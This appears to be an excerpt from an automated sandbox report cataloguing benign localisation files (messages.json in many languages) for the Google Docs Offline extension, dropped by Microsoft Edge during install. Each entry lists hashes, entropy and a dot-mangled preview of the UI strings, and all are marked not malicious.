                                Preview:{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\pa\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):2766
                                Entropy (8bit):3.839730779948262
                                Encrypted:false
                                SSDEEP:
                                MD5:97F769F51B83D35C260D1F8CFD7990AF
                                SHA1:0D59A76564B0AEE31D0A074305905472F740CECA
                                SHA-256:BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
                                SHA-512:D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
                                Malicious:false
                                Reputation:unknown
                                Preview:{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\pl\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):978
                                Entropy (8bit):4.879137540019932
                                Encrypted:false
                                SSDEEP:
                                MD5:B8D55E4E3B9619784AECA61BA15C9C0F
                                SHA1:B4A9C9885FBEB78635957296FDDD12579FEFA033
                                SHA-256:E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
                                SHA-512:266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\pt_BR\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):907
                                Entropy (8bit):4.599411354657937
                                Encrypted:false
                                SSDEEP:
                                MD5:608551F7026E6BA8C0CF85D9AC11F8E3
                                SHA1:87B017B2D4DA17E322AF6384F82B57B807628617
                                SHA-256:A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
                                SHA-512:82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\pt_PT\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):914
                                Entropy (8bit):4.604761241355716
                                Encrypted:false
                                SSDEEP:
                                MD5:0963F2F3641A62A78B02825F6FA3941C
                                SHA1:7E6972BEAB3D18E49857079A24FB9336BC4D2D48
                                SHA-256:E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
                                SHA-512:22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\ro\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):937
                                Entropy (8bit):4.686555713975264
                                Encrypted:false
                                SSDEEP:
                                MD5:BED8332AB788098D276B448EC2B33351
                                SHA1:6084124A2B32F386967DA980CBE79DD86742859E
                                SHA-256:085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
                                SHA-512:22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\ru\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1337
                                Entropy (8bit):4.69531415794894
                                Encrypted:false
                                SSDEEP:
                                MD5:51D34FE303D0C90EE409A2397FCA437D
                                SHA1:B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
                                SHA-256:BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
                                SHA-512:E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\si\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):2846
                                Entropy (8bit):3.7416822879702547
                                Encrypted:false
                                SSDEEP:
                                MD5:B8A4FD612534A171A9A03C1984BB4BDD
                                SHA1:F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
                                SHA-256:54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
                                SHA-512:C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
                                Malicious:false
                                Reputation:unknown
                                Preview:{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\sk\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):934
                                Entropy (8bit):4.882122893545996
                                Encrypted:false
                                SSDEEP:
                                MD5:8E55817BF7A87052F11FE554A61C52D5
                                SHA1:9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
                                SHA-256:903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
                                SHA-512:EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\sl\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):963
                                Entropy (8bit):4.6041913416245
                                Encrypted:false
                                SSDEEP:
                                MD5:BFAEFEFF32813DF91C56B71B79EC2AF4
                                SHA1:F8EDA2B632610972B581724D6B2F9782AC37377B
                                SHA-256:AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
                                SHA-512:971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\sr\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1320
                                Entropy (8bit):4.569671329405572
                                Encrypted:false
                                SSDEEP:
                                MD5:7F5F8933D2D078618496C67526A2B066
                                SHA1:B7050E3EFA4D39548577CF47CB119FA0E246B7A4
                                SHA-256:4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
                                SHA-512:0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\sv\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):884
                                Entropy (8bit):4.627108704340797
                                Encrypted:false
                                SSDEEP:
                                MD5:90D8FB448CE9C0B9BA3D07FB8DE6D7EE
                                SHA1:D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
                                SHA-256:64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
                                SHA-512:6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\sw\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):980
                                Entropy (8bit):4.50673686618174
                                Encrypted:false
                                SSDEEP:
                                MD5:D0579209686889E079D87C23817EDDD5
                                SHA1:C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
                                SHA-256:0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
                                SHA-512:D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\ta\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1941
                                Entropy (8bit):4.132139619026436
                                Encrypted:false
                                SSDEEP:
                                MD5:DCC0D1725AEAEAAF1690EF8053529601
                                SHA1:BB9D31859469760AC93E84B70B57909DCC02EA65
                                SHA-256:6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
                                SHA-512:6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\te\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1969
                                Entropy (8bit):4.327258153043599
                                Encrypted:false
                                SSDEEP:
                                MD5:385E65EF723F1C4018EEE6E4E56BC03F
                                SHA1:0CEA195638A403FD99BAEF88A360BD746C21DF42
                                SHA-256:026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
                                SHA-512:E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\th\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1674
                                Entropy (8bit):4.343724179386811
                                Encrypted:false
                                SSDEEP:
                                MD5:64077E3D186E585A8BEA86FF415AA19D
                                SHA1:73A861AC810DABB4CE63AD052E6E1834F8CA0E65
                                SHA-256:D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
                                SHA-512:56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\tr\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1063
                                Entropy (8bit):4.853399816115876
                                Encrypted:false
                                SSDEEP:
                                MD5:76B59AAACC7B469792694CF3855D3F4C
                                SHA1:7C04A2C1C808FA57057A4CCEEE66855251A3C231
                                SHA-256:B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
                                SHA-512:2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\uk\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1333
                                Entropy (8bit):4.686760246306605
                                Encrypted:false
                                SSDEEP:
                                MD5:970963C25C2CEF16BB6F60952E103105
                                SHA1:BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
                                SHA-256:9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
                                SHA-512:1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\ur\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1263
                                Entropy (8bit):4.861856182762435
                                Encrypted:false
                                SSDEEP:
                                MD5:8B4DF6A9281333341C939C244DDB7648
                                SHA1:382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
                                SHA-256:5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
                                SHA-512:FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\vi\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1074
                                Entropy (8bit):5.062722522759407
                                Encrypted:false
                                SSDEEP:
                                MD5:773A3B9E708D052D6CBAA6D55C8A5438
                                SHA1:5617235844595D5C73961A2C0A4AC66D8EA5F90F
                                SHA-256:597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
